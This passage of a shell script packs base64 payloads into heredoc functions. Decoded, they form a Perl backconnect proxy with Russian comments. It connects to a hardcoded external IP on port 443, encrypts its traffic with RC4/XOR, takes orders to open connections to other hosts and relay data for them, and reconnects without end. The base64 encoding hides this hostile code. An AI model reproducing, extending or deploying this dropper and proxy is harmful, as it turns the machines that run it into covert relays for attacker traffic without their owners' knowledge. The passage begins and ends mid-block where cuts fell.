ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_39() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODgnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
